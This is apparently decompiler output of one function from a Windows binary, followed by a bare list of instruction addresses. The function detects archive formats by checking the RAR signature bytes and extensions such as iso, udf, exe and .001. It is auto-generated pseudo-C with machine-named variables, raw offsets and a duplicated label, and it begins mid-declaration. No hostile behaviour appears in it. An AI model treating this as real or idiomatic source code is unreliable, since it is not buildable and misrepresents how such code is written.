				signed char* _t645;
				intOrPtr _t647;
				signed int _t650;
				signed int _t652;
				intOrPtr _t653;
				void* _t657;
				void* _t659;
				intOrPtr _t660;
				signed int _t663;
				signed int _t666;
				void* _t667;
				void* _t669;
				intOrPtr* _t670;

				E0046B890(E00474DC3, _t667);
				_t670 = _t669 - 0x17c;
				_t647 = __ecx;
				_t641 = 0;
				 *((intOrPtr*)(_t667 - 0x74)) = __ecx;
				_t349 =  *((intOrPtr*)(__ecx));
				if(_t349 != 0) {
					 *((intOrPtr*)( *_t349 + 8))(_t349);
					 *((intOrPtr*)(__ecx)) = 0;
				}
				 *(_t647 + 0x34) = _t641;
				 *( *(_t647 + 0x30)) = _t641;
				E00408963(_t647 + 4);
				 *(_t667 - 4) = _t641;
				 *(_t667 - 0x48) = _t641;
				 *(_t667 - 0x44) = _t641;
				 *(_t667 - 0x40) = _t641;
				E00401E9A(_t667 - 0x48, 3);
				_t353 =  *(_t667 - 0x68);
				 *(_t667 - 4) = 1;
				if(_t353 == _t641) {
					L11:
					E00404AD0(_t667 - 0x34, 4);
					 *((intOrPtr*)(_t667 - 0x34)) = 0x47a668;
					__eflags =  *(_t667 + 0xc) - _t641;
					 *(_t667 - 4) = 3;
					if( *(_t667 + 0xc) < _t641) {
						_t355 =  *((intOrPtr*)(_t667 + 8));
						_t495 = 0;
						 *(_t667 + 0xc) = _t641;
						__eflags =  *((intOrPtr*)(_t355 + 0x10)) - _t641;
						if( *((intOrPtr*)(_t355 + 0x10)) <= _t641) {
							L18:
							__eflags =  *(_t667 + 0x10) - _t641;
							if( *(_t667 + 0x10) != _t641) {
								L21:
								__eflags =  *((intOrPtr*)(_t667 - 0x2c)) - 2;
								if( *((intOrPtr*)(_t667 - 0x2c)) < 2) {
									L64:
									_t356 = E00408053( *(_t667 - 0x48), L"000");
									__eflags = _t356 - _t641;
									if(_t356 == _t641) {
										L66:
										 *(_t667 - 0x14) = _t641;
										 *(_t667 - 0x10) = _t641;
										 *((intOrPtr*)(_t667 - 0x18)) = 0x47a7ec;
										 *(_t667 - 4) = 7;
										E0040FA26(_t667 - 0x18, 0x400);
										_t358 =  *(_t667 + 0x10);
										_t496 =  *(_t667 - 0x10);
										_t359 =  *((intOrPtr*)( *_t358 + 0x10))(_t358, _t641, _t641, _t641, _t641);
										__eflags = _t359 - _t641;
										if(_t359 != _t641) {
											L68:
											_t650 = _t359;
											 *((intOrPtr*)(_t667 - 0x18)) = 0x47a7ec;
											E00407A18( *(_t667 - 0x10));
											L127:
											 *(_t667 - 4) = 1;
											E00408604(_t667 - 0x34);
											E00407A18( *(_t667 - 0x48));
											E00407A18( *((intOrPtr*)(_t667 - 0x6c)));
											_t364 = _t650;
											L33:
											 *[fs:0x0] =  *((intOrPtr*)(_t667 - 0xc));
											return _t364;
										}
										 *(_t667 + 0xc) = 0x400;
										_t359 = E0040FA74( *(_t667 + 0x10), _t496, _t667 + 0xc);
										__eflags = _t359 - _t641;
										if(_t359 == _t641) {
											__eflags =  *(_t667 + 0xc) - 0x10;
											if( *(_t667 + 0xc) < 0x10) {
												L80:
												 *(_t667 - 4) = 3;
												 *((intOrPtr*)(_t667 - 0x18)) = 0x47a7ec;
												E00407A18( *(_t667 - 0x10));
												L81:
												__eflags =  *((intOrPtr*)(_t667 - 0x2c)) - 2;
												if( *((intOrPtr*)(_t667 - 0x2c)) < 2) {
													L92:
													__eflags =  *((intOrPtr*)(_t667 - 0x2c)) - _t641;
													 *(_t667 - 0x20) = _t641;
													if( *((intOrPtr*)(_t667 - 0x2c)) <= _t641) {
														L32:
														 *(_t667 - 4) = 1;
														E00408604(_t667 - 0x34);
														E00407A18( *(_t667 - 0x48));
														E00407A18( *((intOrPtr*)(_t667 - 0x6c)));
														_t364 = 1;
														goto L33;
													}
													_t498 =  *((intOrPtr*)(_t667 - 0x74));
													__eflags = 0;
													do {
														_t652 =  *(_t667 + 0x10);
														__eflags = _t652;
														if(_t652 == 0) {
															L96:
															 *(_t667 + 0xc) = 0;
															 *(_t667 - 4) = 0xa;
															_t371 =  *( *(_t667 - 0x28) +  *(_t667 - 0x20) * 4);
															 *(_t498 + 0x1c) = _t371;
															E0040C9B4(_t667 + 0xc,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t667 + 8)) + 0x14)) + _t371 * 4)) + 4))());
															_t375 =  *(_t667 + 0xc);
															__eflags = _t375;
															if(_t375 != 0) {
																__eflags = _t652;
																if(_t652 == 0) {
																	 *(_t667 - 0x3c) = 0;
																	 *(_t667 - 4) = 0xb;
																	 *((intOrPtr*)( *_t375))(_t375, 0x47a5b8, _t667 - 0x3c);
																	_t377 =  *(_t667 - 0x3c);
																	__eflags = _t377;
																	if(_t377 == 0) {
																		_t378 =  *(_t667 + 0xc);
																		 *(_t667 - 4) = 3;
																		__eflags = _t378;
																		if(_t378 != 0) {
																			 *((intOrPtr*)( *_t378 + 8))(_t378);
																		}
																		L111:
																		 *(_t667 - 4) = 1;
																		E00408604(_t667 - 0x34);
																		E00407A18( *(_t667 - 0x48));
																		E00407A18( *((intOrPtr*)(_t667 - 0x6c)));
																		_t364 = 0x80004001;
																		goto L33;
																	}
																	_t650 =  *((intOrPtr*)( *_t377 + 0xc))(_t377,  *((intOrPtr*)(_t667 + 0x14)));
																	_t384 =  *(_t667 - 0x3c);
																	__eflags = _t384;
																	 *(_t667 - 4) = 0xa;
																	if(_t384 != 0) {
																		 *((intOrPtr*)( *_t384 + 8))(_t384);
																	}
																	L103:
																	__eflags = _t650 - 1;
																	if(_t650 != 1) {
																		__eflags = _t650;
																		if(_t650 == 0) {
																			 *(_t667 - 0x1c) = 0;
																			 *((short*)(_t667 - 0x1a)) = 0;
																			_t385 =  *(_t667 + 0xc);
																			 *(_t667 - 4) = 0xc;
																			 *((intOrPtr*)( *_t385 + 0x20))(_t385, 0x37, _t667 - 0x1c);
																			__eflags =  *(_t667 - 0x1c);
																			if( *(_t667 - 0x1c) != 0) {
																				__eflags =  *(_t667 - 0x1c) - 8;
																				_t407 =  *(_t667 - 0x14);
																				if( *(_t667 - 0x1c) != 8) {
																					_t407 = L"Unknown error";
																				}
																				E00403593(_t498 + 0x30, _t407);
																			}
																			 *(_t667 - 4) = 0xa;
																			E0040C20F(_t667 - 0x1c);
																			E0040C9B4(_t498,  *(_t667 + 0xc));
																			_t653 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t667 + 8)) + 0x14)) +  *(_t498 + 0x1c) * 4));
																			__eflags =  *(_t653 + 0x20);
																			if( *(_t653 + 0x20) != 0) {
																				_t391 = E0041761D(_t653, _t667 - 0x48);
																				__eflags = _t391;
																				if(_t391 < 0) {
																					_t391 = 0;
																					__eflags = 0;
																				}
																				_t536 =  *((intOrPtr*)(_t653 + 0x24));
																				_t335 =  *((intOrPtr*)(_t536 + _t391 * 4)) + 0xc; // 0xc
																				_push( *((intOrPtr*)(_t536 + _t391 * 4)));
																				_t393 = E00414F74(_t667 - 0x18, _t667 - 0x6c);
																				 *(_t667 - 4) = 0x10;
																				E00401E26(_t498 + 0x10, _t393);
																				E00407A18( *((intOrPtr*)(_t667 - 0x18)));
																			} else {
																				E00403532(_t667 - 0x60, 0x490a74);
																				 *(_t667 - 4) = 0xd;
																				E00403532(_t667 - 0x18, 0x490a74);
																				_push(_t667 - 0x60);
																				_push(_t667 - 0x18);
																				 *(_t667 - 4) = 0xe;
																				_t402 = E00414F74(_t667 - 0x54, _t667 - 0x6c);
																				 *(_t667 - 4) = 0xf;
																				E00401E26(_t498 + 0x10, _t402);
																				E00407A18( *((intOrPtr*)(_t667 - 0x54)));
																				E00407A18( *((intOrPtr*)(_t667 - 0x18)));
																				E00407A18( *((intOrPtr*)(_t667 - 0x60)));
																			}
																			_t396 =  *(_t667 + 0xc);
																			 *(_t667 - 4) = 3;
																			__eflags = _t396;
																			if(_t396 != 0) {
																				 *((intOrPtr*)( *_t396 + 8))(_t396);
																			}
																			_t650 = 0;
																			__eflags = 0;
																		} else {
																			_t409 =  *(_t667 + 0xc);
																			 *(_t667 - 4) = 3;
																			__eflags = _t409;
																			if(_t409 != 0) {
																				 *((intOrPtr*)( *_t409 + 8))(_t409);
																			}
																		}
																		goto L127;
																	}
																	_t411 =  *(_t667 + 0xc);
																	 *(_t667 - 4) = 3;
																	__eflags = _t411;
																	if(_t411 != 0) {
																		 *((intOrPtr*)( *_t411 + 8))(_t411);
																	}
																	goto L106;
																}
																_t650 =  *((intOrPtr*)( *_t375 + 0xc))(_t375,  *(_t667 + 0x10), 0x47ab88,  *((intOrPtr*)(_t667 + 0x18)));
																goto L103;
															}
															 *(_t667 - 4) = 3;
															goto L106;
														}
														_t414 =  *((intOrPtr*)( *_t652 + 0x10))(_t652, 0, 0, 0, 0);
														__eflags = _t414;
														if(_t414 != 0) {
															_t650 = _t414;
															goto L127;
														}
														goto L96;
														L106:
														 *(_t667 - 0x20) =  *(_t667 - 0x20) + 1;
														__eflags =  *(_t667 - 0x20) -  *((intOrPtr*)(_t667 - 0x2c));
													} while ( *(_t667 - 0x20) <  *((intOrPtr*)(_t667 - 0x2c)));
													goto L32;
												}
												E00403532(_t667 - 0x18, L"iso");
												 *(_t667 - 4) = 8;
												 *(_t667 - 0x38) = E00417689( *((intOrPtr*)(_t667 + 8)), _t667 - 0x18);
												 *(_t667 - 4) = 3;
												E00407A18( *((intOrPtr*)(_t667 - 0x18)));
												 *_t670 = L"udf";
												E00403532(_t667 - 0x18);
												 *(_t667 - 4) = 9;
												 *(_t667 - 0x4c) = E00417689( *((intOrPtr*)(_t667 + 8)), _t667 - 0x18);
												 *(_t667 - 4) = 3;
												E00407A18( *((intOrPtr*)(_t667 - 0x18)));
												_pop(_t555);
												_t619 = 0;
												_t556 = _t555 | 0xffffffff;
												__eflags =  *((intOrPtr*)(_t667 - 0x2c)) - _t641;
												_t426 = _t556;
												if( *((intOrPtr*)(_t667 - 0x2c)) <= _t641) {
													goto L92;
												}
												 *(_t667 + 0xc) =  *(_t667 - 0x28);
												do {
													_t657 =  *( *(_t667 + 0xc));
													__eflags = _t657 -  *(_t667 - 0x38);
													if(_t657 ==  *(_t667 - 0x38)) {
														_t426 = _t619;
													}
													_t499 =  *(_t667 - 0x4c);
													__eflags = _t657 - _t499;
													if(_t657 == _t499) {
														_t556 = _t619;
													}
													 *(_t667 + 0xc) =  *(_t667 + 0xc) + 4;
													_t619 = _t619 + 1;
													__eflags = _t619 -  *((intOrPtr*)(_t667 - 0x2c));
												} while (_t619 <  *((intOrPtr*)(_t667 - 0x2c)));
												__eflags = _t556 - _t426;
												if(_t556 > _t426) {
													__eflags = _t426 - _t641;
													if(_t426 >= _t641) {
														 *( *(_t667 - 0x28) + _t556 * 4) =  *(_t667 - 0x38);
														 *( *(_t667 - 0x28) + _t426 * 4) = _t499;
													}
												}
												goto L92;
											}
											 *(_t667 - 0x4a) =  *(_t667 - 0x4a) & 0x00000000;
											_t659 = 0;
											 *((char*)(_t667 - 0x50)) = 0x52;
											 *((char*)(_t667 - 0x4f)) = 0x61;
											 *((char*)(_t667 - 0x4e)) = 0x72;
											 *((char*)(_t667 - 0x4d)) = 0x21;
											 *(_t667 - 0x4c) = 0x1a;
											 *((char*)(_t667 - 0x4b)) = 7;
											_t559 = _t496 - _t667 - 0x50;
											__eflags = _t559;
											while(1) {
												_t428 = _t667 + _t659 - 0x50;
												__eflags =  *((intOrPtr*)(_t559 + _t428)) -  *_t428;
												if( *((intOrPtr*)(_t559 + _t428)) !=  *_t428) {
													goto L80;
												}
												_t659 = _t659 + 1;
												__eflags = _t659 - 7;
												if(_t659 < 7) {
													continue;
												}
												__eflags =  *((char*)(_t496 + 9)) - 0x73;
												if( *((char*)(_t496 + 9)) != 0x73) {
													goto L80;
												}
												__eflags =  *(_t496 + 0xa) & 0x00000001;
												if(( *(_t496 + 0xa) & 0x00000001) == 0) {
													goto L80;
												}
												_t500 = 0;
												__eflags =  *((intOrPtr*)(_t667 - 0x2c)) - _t641;
												if( *((intOrPtr*)(_t667 - 0x2c)) <= _t641) {
													goto L80;
												} else {
													goto L76;
												}
												while(1) {
													L76:
													_t660 =  *((intOrPtr*)( *(_t667 - 0x28) + _t500 * 4));
													_t433 = E0040807A(L"rar");
													__eflags = _t433 - _t641;
													if(_t433 == _t641) {
														break;
													}
													_t500 = _t500 + 1;
													__eflags = _t500 -  *((intOrPtr*)(_t667 - 0x2c));
													if(_t500 <  *((intOrPtr*)(_t667 - 0x2c))) {
														continue;
													}
													goto L80;
												}
												E00408784(_t667 - 0x34, _t500, 1);
												E00408767(_t667 - 0x34, __eflags, _t641);
												 *( *(_t667 - 0x28)) = _t660;
												goto L80;
											}
											goto L80;
										}
										goto L68;
									}
									_t437 = E00408053( *(_t667 - 0x48), L"001");
									__eflags = _t437 - _t641;
									if(_t437 != _t641) {
										goto L81;
									}
									goto L66;
								}
								__eflags =  *(_t667 + 0xc) - _t641;
								if( *(_t667 + 0xc) == _t641) {
									L24:
									E00404AD0(_t667 - 0x88, 4);
									 *((intOrPtr*)(_t667 - 0x88)) = 0x47a668;
									 *(_t667 - 0x5c) = _t641;
									 *(_t667 - 0x58) = _t641;
									 *((intOrPtr*)(_t667 - 0x60)) = 0x47a7ec;
									 *(_t667 - 4) = 5;
									E0040FA26(_t667 - 0x60, 0x200000);
									_t440 =  *(_t667 + 0x10);
									_t441 =  *((intOrPtr*)( *_t440 + 0x10))(_t440, _t641, _t641, _t641, _t641);
									__eflags = _t441 - _t641;
									if(_t441 == _t641) {
										 *(_t667 + 0xc) = 0x200000;
										_t441 = E0040FA74( *(_t667 + 0x10),  *(_t667 - 0x58), _t667 + 0xc);
										__eflags = _t441 - _t641;
										if(_t441 != _t641) {
											goto L25;
										}
										__eflags =  *(_t667 + 0xc) - _t641;
										if( *(_t667 + 0xc) != _t641) {
											 *(_t667 - 0x14) = _t641;
											 *(_t667 - 0x70) =  *(_t667 - 0x58);
											 *(_t667 - 0x10) = _t641;
											 *((intOrPtr*)(_t667 - 0x18)) = 0x47a7ec;
											 *(_t667 - 4) = 6;
											E0040FA26(_t667 - 0x18, 0x10000);
											 *(_t667 - 0x20) =  *(_t667 - 0x10);
											E0046CCB0( *(_t667 - 0x10), 0xff, 0x10000);
											_t670 = _t670 + 0xc;
											__eflags =  *((intOrPtr*)(_t667 - 0x2c)) - 0x100;
											if( *((intOrPtr*)(_t667 - 0x2c)) < 0x100) {
												_t449 = 0;
												__eflags =  *((intOrPtr*)(_t667 - 0x2c)) - _t641;
												if( *((intOrPtr*)(_t667 - 0x2c)) <= _t641) {
													L38:
													_t109 = _t667 + 0xc;
													 *_t109 =  *(_t667 + 0xc) - 1;
													__eflags =  *_t109;
													_t502 = _t641;
													if( *_t109 == 0) {
														L59:
														_t663 = 0;
														__eflags =  *((intOrPtr*)(_t667 - 0x2c)) - _t641;
														if( *((intOrPtr*)(_t667 - 0x2c)) <= _t641) {
															L63:
															E0040862D();
															_push(_t667 - 0x88);
															E00443F76(_t667 - 0x34);
															 *((intOrPtr*)(_t667 - 0x18)) = 0x47a7ec;
															E00407A18( *(_t667 - 0x10));
															 *((intOrPtr*)(_t667 - 0x60)) = 0x47a7ec;
															E00407A18( *(_t667 - 0x58));
															 *(_t667 - 4) = 3;
															E00408604(_t667 - 0x88);
															goto L81;
														} else {
															goto L60;
														}
														do {
															L60:
															_t457 =  *((intOrPtr*)( *(_t667 - 0x28) + _t663 * 4));
															__eflags = _t457 - 0xff;
															if(_t457 != 0xff) {
																E00415C6D(_t667 - 0x88, _t457);
															}
															_t663 = _t663 + 1;
															__eflags = _t663 -  *((intOrPtr*)(_t667 - 0x2c));
														} while (_t663 <  *((intOrPtr*)(_t667 - 0x2c)));
														goto L63;
													}
													while(1) {
														__eflags = _t502 -  *(_t667 + 0xc);
														if(__eflags >= 0) {
															goto L46;
														}
														while(1) {
															_t627 =  *(_t667 - 0x20);
															__eflags =  *((char*)(0 + _t627)) - 0xff;
															if( *((char*)(0 + _t627)) != 0xff) {
																break;
															}
															_t502 =  &(_t502[1]);
															__eflags = _t502 -  *(_t667 + 0xc);
															if(_t502 <  *(_t667 + 0xc)) {
																continue;
															}
															break;
														}
														__eflags = _t502 -  *(_t667 + 0xc);
														L46:
														if(__eflags == 0) {
															goto L59;
														}
														_t645 = 0 +  *(_t667 - 0x20);
														__eflags = _t645;
														_t666 =  *_t645 & 0x000000ff;
														do {
															_t462 =  *( *(_t667 - 0x28) + _t666 * 4);
															 *(_t667 - 0x4c) = _t462;
															_t463 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t667 + 8)) + 0x14)) + _t462 * 4));
															_t582 =  *(_t463 + 0x30);
															__eflags = _t582;
															 *(_t667 - 0x38) = _t582;
															if(_t582 == 0) {
																L55:
																_t645 = _t667 + _t666 - 0x188;
																goto L56;
															}
															__eflags =  &(_t502[_t582]) -  *(_t667 + 0xc) + 1;
															if( &(_t502[_t582]) >  *(_t667 + 0xc) + 1) {
																goto L55;
															}
															_t465 =  *((intOrPtr*)(_t463 + 0x34));
															_t587 = 0;
															__eflags =  *(_t667 - 0x38);
															if( *(_t667 - 0x38) <= 0) {
																L54:
																E00415C6D(_t667 - 0x88,  *(_t667 - 0x4c));
																 *( *(_t667 - 0x28) + _t666 * 4) = 0xff;
																 *_t645 =  *(_t667 + _t666 - 0x188);
																goto L56;
															}
															_t629 =  &(( *(_t667 - 0x70))[_t502]);
															__eflags = _t629;
															 *(_t667 - 0x3c) = _t629;
															while(1) {
																__eflags =  *( *(_t667 - 0x3c)) -  *((intOrPtr*)(_t587 + _t465));
																if( *( *(_t667 - 0x3c)) !=  *((intOrPtr*)(_t587 + _t465))) {
																	goto L55;
																}
																_t587 = _t587 + 1;
																 *(_t667 - 0x3c) =  *(_t667 - 0x3c) + 1;
																__eflags = _t587 -  *(_t667 - 0x38);
																if(_t587 <  *(_t667 - 0x38)) {
																	continue;
																}
																goto L54;
															}
															goto L55;
															L56:
															_t666 =  *_t645 & 0x000000ff;
															__eflags = _t666 - 0xff;
														} while (_t666 != 0xff);
														_t502 =  &(_t502[1]);
														__eflags = _t502 -  *(_t667 + 0xc);
														if(_t502 <  *(_t667 + 0xc)) {
															_t641 = 0;
															__eflags = 0;
															continue;
														}
														_t641 = 0;
														__eflags = 0;
														goto L59;
													}
												} else {
													goto L35;
												}
												do {
													L35:
													_t591 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t667 + 8)) + 0x14)) +  *( *(_t667 - 0x28) + _t449 * 4) * 4));
													__eflags =  *((intOrPtr*)(_t591 + 0x30)) - 2;
													if( *((intOrPtr*)(_t591 + 0x30)) >= 2) {
														_t594 = 0 +  *(_t667 - 0x20);
														__eflags = _t594;
														 *_t594 = _t449;
														 *((char*)(_t667 + _t449 - 0x188)) =  *_t594;
													}
													_t449 = _t449 + 1;
													__eflags = _t449 -  *((intOrPtr*)(_t667 - 0x2c));
												} while (_t449 <  *((intOrPtr*)(_t667 - 0x2c)));
												goto L38;
											}
											 *((intOrPtr*)(_t667 - 0x18)) = 0x47a7ec;
											E00407A18( *(_t667 - 0x10));
											 *((intOrPtr*)(_t667 - 0x60)) = 0x47a7ec;
											E00407A18( *(_t667 - 0x58));
											 *(_t667 - 4) = 3;
											E00408604(_t667 - 0x88);
											goto L32;
										}
										_t650 = 1;
										L29:
										 *((intOrPtr*)(_t667 - 0x60)) = 0x47a7ec;
										E00407A18( *(_t667 - 0x58));
										 *(_t667 - 4) = 3;
										E00408604(_t667 - 0x88);
										goto L127;
									}
									L25:
									_t650 = _t441;
									goto L29;
								}
								_t472 = E0040807A(L"exe");
								__eflags = _t472 - _t641;
								if(_t472 != _t641) {
									goto L64;
								}
								goto L24;
							}
							__eflags =  *(_t667 + 0xc) - 1;
							if( *(_t667 + 0xc) != 1) {
								goto L111;
							}
							E00408642(_t667 - 0x34, 1);
							goto L21;
						} else {
							goto L14;
						}
						do {
							L14:
							__eflags = E0041761D( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t667 + 8)) + 0x14)) + _t495 * 4)), _t667 - 0x48);
							if(__eflags < 0) {
								E00415C6D(_t667 - 0x34, _t495);
							} else {
								 *(_t667 + 0xc) =  *(_t667 + 0xc) + 1;
								 *(_t667 - 0x38) =  *(_t667 + 0xc) << 2;
								E00408767(_t667 - 0x34, __eflags,  *(_t667 + 0xc));
								 *( *(_t667 - 0x38) +  *(_t667 - 0x28)) = _t495;
							}
							_t479 =  *((intOrPtr*)(_t667 + 8));
							_t495 = _t495 + 1;
							__eflags = _t495 -  *((intOrPtr*)(_t479 + 0x10));
						} while (_t495 <  *((intOrPtr*)(_t479 + 0x10)));
						goto L18;
					}
					E00415C6D(_t667 - 0x34,  *(_t667 + 0xc));
					goto L92;
				} else {
					_t607 =  *((intOrPtr*)(_t667 - 0x6c));
					_t484 = _t607 + _t353 * 2 - 2;
					L4:
					L4:
					if( *_t484 == 0x2e) {
						_t486 = _t484 - _t607 >> 1;
					} else {
						goto L5;
					}
					L9:
					__eflags = _t486 - _t641;
					if(_t486 >= _t641) {
						__eflags = _t486 + 1;
						_t489 = E004072C9(_t667 - 0x6c, _t667 - 0x18, _t486 + 1);
						 *(_t667 - 4) = 2;
						E00401E26(_t667 - 0x48, _t489);
						 *(_t667 - 4) = 1;
						E00407A18( *((intOrPtr*)(_t667 - 0x18)));
					}
					goto L11;
					L5:
					if(_t484 == _t607) {
						_t486 = _t484 | 0xffffffff;
						__eflags = _t486;
						goto L9;
					} else {
						_t484 = _t484;
						goto L4;
					}
				}
			}

0x00417bb3
0x00417bb8
0x00417bc0
0x00417bc3
0x00417bc5
0x00417bc8
0x00417bcc
0x00417bd1
0x00417bd4
0x00417bd4
0x00417bd9
0x00417be2
0x00417be5
0x00417bef
0x00417bf2
0x00417bf5
0x00417bf8
0x00417bfb
0x00417c00
0x00417c03
0x00417c09
0x00417c55
0x00417c5a
0x00417c64
0x00417c67
0x00417c6a
0x00417c6e
0x00417c80
0x00417c83
0x00417c85
0x00417c88
0x00417c8b
0x00417cd7
0x00417cd7
0x00417cda
0x00417cf0
0x00417cf0
0x00417cf4
0x00417fba
0x00417fc2
0x00417fc7
0x00417fc9
0x00417fe0
0x00417fe0
0x00417fe3
0x00417fe6
0x00417ff6
0x00417ffa
0x00417fff
0x00418002
0x0041800c
0x0041800f
0x00418011
0x00418028
0x0041802b
0x0041802d
0x00418034
0x004183d8
0x004183db
0x004183df
0x004183e7
0x004183ef
0x004183f5
0x00417e21
0x00417e27
0x00417e2f
0x00417e2f
0x0041801c
0x0041801f
0x00418024
0x00418026
0x0041803f
0x00418043
0x004180d3
0x004180d6
0x004180da
0x004180e1
0x004180e7
0x004180e7
0x004180eb
0x00418194
0x00418194
0x00418197
0x0041819a
0x00417e00
0x00417e03
0x00417e07
0x00417e0f
0x00417e17
0x00417e20
0x00000000
0x00417e20
0x004181a0
0x004181a3
0x004181a5
0x004181a5
0x004181a8
0x004181aa
0x004181be
0x004181be
0x004181c7
0x004181cb
0x004181d1
0x004181e1
0x004181e6
0x004181e9
0x004181eb
0x004181f3
0x004181f5
0x0041820c
0x0041821b
0x0041821f
0x00418221
0x00418224
0x00418226
0x00418275
0x00418278
0x0041827c
0x0041827e
0x00418283
0x00418283
0x00418286
0x00418289
0x0041828d
0x00418295
0x0041829d
0x004182a3
0x00000000
0x004182a8
0x00418231
0x00418233
0x00418236
0x00418238
0x0041823c
0x00418241
0x00418241
0x00418244
0x00418244
0x00418247
0x004182ae
0x004182b0
0x004182cc
0x004182d0
0x004182d4
0x004182e0
0x004182e4
0x004182e7
0x004182eb
0x004182ed
0x004182f2
0x004182f5
0x004182f7
0x004182f7
0x00418300
0x00418300
0x00418308
0x0041830c
0x00418316
0x00418324
0x00418327
0x0041832a
0x0041838e
0x00418393
0x00418395
0x00418397
0x00418397
0x00418397
0x00418399
0x004183a2
0x004183a6
0x004183aa
0x004183b3
0x004183b7
0x004183bf
0x0041832c
0x00418335
0x0041833e
0x00418342
0x0041834d
0x00418351
0x00418355
0x00418359
0x00418362
0x00418366
0x0041836e
0x00418376
0x0041837e
0x00418383
0x004183c5
0x004183c8
0x004183cc
0x004183ce
0x004183d3
0x004183d3
0x004183d6
0x004183d6
0x004182b2
0x004182b2
0x004182b5
0x004182b9
0x004182bb
0x004182c4
0x004182c4
0x004182bb
0x00000000
0x004182b0
0x00418249
0x0041824c
0x00418250
0x00418252
0x00418257
0x00418257
0x00000000
0x00418252
0x00418208
0x00000000
0x00418208
0x004181ed
0x00000000
0x004181ed
0x004181b3
0x004181b6
0x004181b8
0x0041826e
0x00000000
0x0041826e
0x00000000
0x0041825a
0x0041825a
0x00418260
0x00418260
0x00000000
0x00418269
0x004180f9
0x00418105
0x00418111
0x00418114
0x00418118
0x00418120
0x00418127
0x00418133
0x0041813f
0x00418142
0x00418146
0x0041814b
0x0041814c
0x0041814e
0x00418151
0x00418154
0x00418156
0x00000000
0x00000000
0x0041815b
0x0041815e
0x00418161
0x00418163
0x00418166
0x00418168
0x00418168
0x0041816a
0x0041816d
0x0041816f
0x00418171
0x00418171
0x00418173
0x00418177
0x00418178
0x00418178
0x0041817d
0x0041817f
0x00418181
0x00418183
0x0041818b
0x00418191
0x00418191
0x00418183
0x00000000
0x0041817f
0x00418049
0x00418052
0x00418054
0x00418058
0x0041805c
0x00418060
0x00418064
0x00418068
0x0041806c
0x0041806c
0x0041806e
0x0041806e
0x00418075
0x00418077
0x00000000
0x00000000
0x00418079
0x0041807a
0x0041807d
0x00000000
0x00000000
0x0041807f
0x00418083
0x00000000
0x00000000
0x00418085
0x00418089
0x00000000
0x00000000
0x0041808b
0x0041808d
0x00418090
0x00000000
0x00000000
0x00000000
0x00000000
0x00418092
0x00418092
0x0041809a
0x004180a9
0x004180ae
0x004180b0
0x00000000
0x00000000
0x004180b2
0x004180b3
0x004180b6
0x00000000
0x00000000
0x00000000
0x004180b8
0x004180c0
0x004180c9
0x004180d1
0x00000000
0x004180d1
0x00000000
0x0041806e
0x00000000
0x00418026
0x00417fd3
0x00417fd8
0x00417fda
0x00000000
0x00000000
0x00000000
0x00417fda
0x00417cfa
0x00417cfd
0x00417d14
0x00417d1c
0x00417d21
0x00417d2c
0x00417d2f
0x00417d32
0x00417d3e
0x00417d42
0x00417d47
0x00417d51
0x00417d54
0x00417d56
0x00417d65
0x00417d69
0x00417d6e
0x00417d70
0x00000000
0x00000000
0x00417d72
0x00417d75
0x00417d9d
0x00417da0
0x00417da3
0x00417da6
0x00417db2
0x00417db6
0x00417dc5
0x00417dc8
0x00417dcd
0x00417dd0
0x00417dd7
0x00417e32
0x00417e34
0x00417e37
0x00417e70
0x00417e70
0x00417e70
0x00417e70
0x00417e73
0x00417e75
0x00417f4c
0x00417f4c
0x00417f4e
0x00417f51
0x00417f72
0x00417f75
0x00417f83
0x00417f84
0x00417f91
0x00417f94
0x00417f9c
0x00417f9f
0x00417fa5
0x00417fb0
0x00000000
0x00000000
0x00000000
0x00000000
0x00417f53
0x00417f53
0x00417f56
0x00417f59
0x00417f5e
0x00417f67
0x00417f67
0x00417f6c
0x00417f6d
0x00417f6d
0x00000000
0x00417f53
0x00417e7f
0x00417e7f
0x00417e82
0x00000000
0x00000000
0x00417e87
0x00417e87
0x00417e93
0x00417e97
0x00000000
0x00000000
0x00417e99
0x00417e9a
0x00417e9d
0x00000000
0x00000000
0x00000000
0x00417e9d
0x00417e9f
0x00417ea2
0x00417ea2
0x00000000
0x00000000
0x00417ebb
0x00417ebb
0x00417ebd
0x00417ec0
0x00417ec6
0x00417ecc
0x00417ecf
0x00417ed2
0x00417ed5
0x00417ed7
0x00417eda
0x00417f2e
0x00417f2e
0x00000000
0x00417f2e
0x00417ee2
0x00417ee4
0x00000000
0x00000000
0x00417ee6
0x00417ee9
0x00417eeb
0x00417eee
0x00417f0b
0x00417f14
0x00417f1c
0x00417f2a
0x00000000
0x00417f2a
0x00417ef3
0x00417ef3
0x00417ef5
0x00417ef8
0x00417efd
0x00417f00
0x00000000
0x00000000
0x00417f02
0x00417f03
0x00417f06
0x00417f09
0x00000000
0x00000000
0x00000000
0x00417f09
0x00000000
0x00417f35
0x00417f35
0x00417f38
0x00417f38
0x00417f40
0x00417f41
0x00417f44
0x00417e7d
0x00417e7d
0x00000000
0x00417e7d
0x00417f4a
0x00417f4a
0x00000000
0x00417f4a
0x00000000
0x00000000
0x00000000
0x00417e39
0x00417e39
0x00417e45
0x00417e48
0x00417e4c
0x00417e5d
0x00417e5d
0x00417e61
0x00417e63
0x00417e63
0x00417e6a
0x00417e6b
0x00417e6b
0x00000000
0x00417e39
0x00417ddc
0x00417ddf
0x00417de7
0x00417dea
0x00417df0
0x00417dfb
0x00000000
0x00417dfb
0x00417d79
0x00417d7a
0x00417d7d
0x00417d80
0x00417d86
0x00417d90
0x00000000
0x00417d90
0x00417d58
0x00417d58
0x00000000
0x00417d58
0x00417d07
0x00417d0c
0x00417d0e
0x00000000
0x00000000
0x00000000
0x00417d0e
0x00417cdc
0x00417ce0
0x00000000
0x00000000
0x00417ceb
0x00000000
0x00000000
0x00000000
0x00000000
0x00417c8d
0x00417c8d
0x00417c9f
0x00417ca1
0x00417cc9
0x00417ca3
0x00417cac
0x00417caf
0x00417cb5
0x00417cc0
0x00417cc0
0x00417cce
0x00417cd1
0x00417cd2
0x00417cd2
0x00000000
0x00417c8d
0x00417c76
0x00000000
0x00417c0b
0x00417c0b
0x00417c0e
0x00000000
0x00417c12
0x00417c16
0x00417c22
0x00000000
0x00000000
0x00000000
0x00417c29
0x00417c29
0x00417c2b
0x00417c2d
0x00417c36
0x00417c3f
0x00417c43
0x00417c4b
0x00417c4f
